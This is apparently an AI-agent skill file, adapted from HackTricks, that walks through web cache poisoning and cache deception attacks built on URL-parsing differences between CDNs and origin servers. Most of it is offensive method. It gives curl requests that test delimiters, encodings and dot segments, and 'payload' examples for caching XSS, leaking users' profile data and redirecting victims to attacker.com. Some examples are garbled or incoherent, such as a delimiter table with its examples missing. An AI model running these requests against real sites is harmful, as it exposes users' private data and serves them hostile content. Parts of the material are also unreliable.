Hacktricks-skills cache-poisoning-url-discrepancies
How to perform cache poisoning attacks by exploiting URL parsing discrepancies between cache proxies and web servers. Use this skill whenever the user mentions cache poisoning, CDN vulnerabilities, URL parsing issues, proxy discrepancies, or wants to test for cache-related security issues. This skill helps identify when cache servers and origin servers interpret URLs differently, allowing attackers to poison caches with malicious content.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies/SKILL.MDCache Poisoning via URL Discrepancies
This skill helps you perform cache poisoning attacks by exploiting discrepancies between how cache proxies and web servers parse and normalize URLs.
Core Concept
The goal is to make the cache server think a static resource is being loaded so it caches the response, while the cache key differs from what the origin server actually resolves. This allows you to:
- Cache dynamic responses (containing sensitive user data)
- Inject malicious payloads (XSS, redirects)
- Serve attacker-controlled content to other users
Attack Methodology
Step 1: Identify URL Delimiters
Different frameworks and servers use different delimiters that can be exploited:
| Delimiter | Framework/Server | Example |
|---|---|---|
(semicolon) | Spring | → |
(dot) | Ruby on Rails | → |
(null byte) | OpenLiteSpeed | → |
(newline) | Nginx | → |
Testing Process:
- Identify non-cacheable requests to monitor URL handling
- Append random suffixes to paths and compare responses
- Introduce potential delimiters before the suffix to see if responses change
Step 2: Test Encoding Discrepancies
Cache and origin servers decode URLs differently. Test by:
- Load a path without encoding and note the response
- Send the same path with URL-encoded characters
- Check if the encoded path response came from cache
Example:
- Request
(where/myAccount%3Fparam
=%3F
)? - If cache stores
but origin resolves/myAccount%3Fparam
, you have a discrepancy/myAccount?param
Step 3: Test Dot Segment Normalization
Some servers normalize dot segments differently:
might be cached as-is/static/../home/index- Origin might resolve it to
/home/index
Test patterns:
/static/../home/index/aaa..\home/index
(URL-encoded forward slash)/static/..%2Fhome
(URL-encoded backslash)/static/..%5Chome
Step 4: Exploit Static Resource Caching
Many CDNs always cache certain file types and directories:
Cloudflare always caches these extensions:
7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
Well-known static directories:
/static, /assets, /wp-content, /media, /templates, /public, /shared
Always-cached files:
/robots.txt, /favicon.ico, /index.html
Exploitation patterns:
-
Delimiter + static extension:
- Request:
/home$image.png - Cache stores:
/home$image.png - Origin responds:
/home
- Request:
-
Static directory + dots:
- Request:
/home/..%2fstatic/something - Cache stores:
/static/something - Origin responds:
/home
- Request:
-
Static file + dots:
- Request:
/home/..%2Frobots.txt - Cache stores:
/robots.txt - Origin responds:
/home
- Request:
Practical Testing Workflow
1. Reconnaissance
# Check if target uses a CDN whois example.com # Look for CDN headers in responses
2. Cache Detection
# Send same request twice, check for cache headers curl -I https://example.com/test # Look for: X-Cache, X-Cache-Hit, Age, CF-Cache-Status
3. Delimiter Testing
# Test semicolon delimiter curl "https://example.com/home;test=value" # Test dot delimiter curl "https://example.com/home.test" # Test null byte curl "https://example.com/home%00test" # Test newline curl "https://example.com/home%0atest"
4. Encoding Testing
# Test various encodings of the same character curl "https://example.com/home%3Fparam=value" curl "https://example.com/home%253Fparam=value" curl "https://example.com/home%25253Fparam=value"
5. Static Resource Testing
# Test with static extension curl "https://example.com/admin$image.png" # Test with static directory curl "https://example.com/admin/..%2Fstatic/test.js" # Test with always-cached file curl "https://example.com/admin/..%2Frobots.txt"
Payload Examples
XSS Injection
# Poison cache with XSS payload curl "https://example.com/home/..%2Fstatic/malicious.js" \ -H "X-Forwarded-For: <victim-ip>" # The cache stores /static/malicious.js # But origin serves /home with XSS payload
Sensitive Data Exposure
# Cache user-specific data as "static" curl "https://example.com/user/profile$image.png" # Cache stores /user/profile$image.png # Origin serves /user/profile (with sensitive data) # Other users requesting /user/profile get cached sensitive data
Redirect Attack
# Cache a redirect to attacker-controlled domain curl "https://example.com/login/..%2Fstatic/redirect.js" # Cache stores /static/redirect.js # Origin serves /login with redirect to attacker.com
Verification
After attempting cache poisoning:
- Check cache headers - Look for
orX-Cache: HITCF-Cache-Status: HIT - Request from different IP - See if you get the poisoned response
- Check cache key - Use browser dev tools or proxy to see what's cached
- Compare responses - Ensure the cached response differs from what origin would normally serve
Common Targets
- Applications behind Cloudflare, CloudFront, Fastly, Akamai
- Sites with mixed static/dynamic content
- Applications with user-specific data in URLs
- Sites with authentication bypass potential
Mitigation Indicators
If you see these, the target may be protected:
- Strict cache key configuration
- No caching of dynamic content
- Proper URL normalization on both cache and origin
- Cache bypass headers for authenticated requests
Tools
- Burp Suite - For intercepting and modifying requests
- curl - For quick testing
- Custom scripts - For automated delimiter/encoding testing
- Browser DevTools - For inspecting cache headers
Important Notes
- Always get proper authorization before testing
- Document findings carefully for bug bounty reports
- Some discrepancies may be intentional (e.g., for A/B testing)
- False positives are common - verify by testing from different IPs
- Cache behavior can vary by region and CDN configuration